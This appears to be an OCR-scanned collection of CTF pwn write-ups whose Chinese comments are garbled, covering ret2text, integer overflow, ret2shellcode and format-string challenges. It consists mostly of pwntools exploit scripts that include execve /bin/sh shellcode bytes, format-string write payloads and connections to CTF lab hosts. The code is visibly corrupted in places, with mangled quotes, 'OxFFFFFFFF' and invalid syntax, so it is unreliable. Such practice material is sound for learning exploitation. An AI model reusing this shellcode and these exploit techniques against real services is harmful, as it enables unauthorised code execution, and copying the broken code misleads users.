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ret2text 64
B Mret2text, HREIEMEEKNINtENA

from pwn import *

p = process('./pwn')
context(arch='amd64', os="linux")

offset = 56
backdoor_addr = 0x000000000040136F
# M)&payload

payload = b'A' * offset # 15T
payload += p64(backdoor_addr+8) ##%¥15F # BR[O

print(" %XpayloadH...")
p.sendline(payload)

print("UIRBIRZ EIR...")
p.interactive()

Integer_Overflow

EEREFEE, BERMA-THE 12006205 (EIHENPEFEENER /) FAIX
getshell
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from pwn import *

#p = process('./pwn')

p = remote('nodel10.anna.nssctf.cn',27136)

p.recvuntil(b"enter a number.")

# HIA 4294967295 (E/SHI -1)
payload = str(OxFFFFFFFF).encode() # S{&EH -1

p.sendline(payload)

p.interactive()

HiTscanf W A-1TEHE

ret2shellcode
BilEfyshellcodelF

from pwn import *
context(os="linux', arch="amd64', log_level="'debug')

p = process('./pwn')
# p = remote('nodel0.anna.nssctf.cn’, 27954)

p.recvuntil(b'buf @ ')

stack_addr = int(p.recvline().strip(), 16)
log.info(f"Stack address: {hex(stack_addr)}")
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# FRZHEMN24F T shellcode, HRZEESEHXF
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53
\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

log.info(f"Shellcode length: {len(shellcode)}")

# tgiEpayload, HfRshellcode R #E=

payload = shellcode

payload = payload.ljust(72, b'\x90') # FANOPEFTFIKZE|a]
payload += p64(stack_addr) # 3&[E]F]shellcode 3k

log.info(f"Total payload length: {len(payload)}")

p.sendline(payload)
p.interactive()

FMT
FELHAZEFtargettyE, HREIRIVLFRTHEER LREEEEENEFAIUEE

from pwn import *

p= process('/pwn')
context(os="linux',arch="amd64'log_level="debug')
target_addr= 0x000000000040408C

p.recvuntil(b'Input your message:')
payload= fmtstr(6,target_addr:0x6)

p.sendline(payload)
p.interactive()

are you lucky
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IEMMA B SZREHARE, game() it EALSLIPIESS, edit () BV LFRT
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I A& Medit FTAERITEN L LR, PR AT AT gamey i fElia)

from pwn import *
context(os="linux',arch="amd64',log_level="'debug')
#p= remote('nodel0.anna.nssctf.cn',29531)
p=process('./pwn')

#gdb.attach(p)

setoff_main= 0x1127

###login#H#

username="user_name"

password= "MTEONTEO"
p.recvuntil(b'username')

p.sendline(username)

p.recvuntil(b'password')

p.sendline(password)

HitHHH#H

HHHPIE#H#

p.recvuntil(b'Enter your choice >>')
p.sendline(b'1")

p.recvuntil(b'enter your new name')
p.sendline(b'%18%p’)

p.recvuntil(b"Okay, your new name is\n")
leaked_addr = int(p.recvline().strip(), 16)
log.info(f";it EAYHLE: {hex(leaked_addr)}")
main_addr= leaked_addr-0x40a0 HA UM EE H AVt R TE 240a0
log.info(f"mainBytit: {hex(main_addr)}")
p.recvuntil(b'Please enter your new password')

p.sendline(b'asd')

HHHHHH

#HHEHIMBHH

fmt_setoff= 20
target_addr=main_addr+0x00000000000040CC
log.info(f"targetBytiit: {hex(target_addr)}")
payload = fmtstr_payload(20,{target_addr:0x2918})
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p.recvuntil(b'Enter your choice >>')
p.sendline(b'1")

p.recvuntil(b'enter your new name')
p.sendline(payload)
p.recvuntil(b'Please enter your new password')
p.sendline(b'asd')

#i# 3 ArootH Zixshellcode ##t#
p.recvuntil(b'Enter your choice >>')
p.sendline(b'3') # 3# Aroot
p.recvuntil(b'access')
#p.sendline(b'\0')
p.send(b"/bin/sh\0") # %&3%/bin/sh

# FFroot I RIVOIER
p.recvuntil(b"start your performance")

shellcode = asm("'"'
lea rdi, [rsp+0x18] # $8[/bin/sh=RFH

Xor esi, esi # argv = NULL
push Ox3b
pop rax # execve R4
cdq # RDX = 0 (kbxor edx, edx%g)
syscall
"")[:15]

log.info(f" & ixshellcode: {shellcode.hex()} ({<E: {len(shellcode)})")

p.send(shellcode)
# FREXshell
p.interactive()
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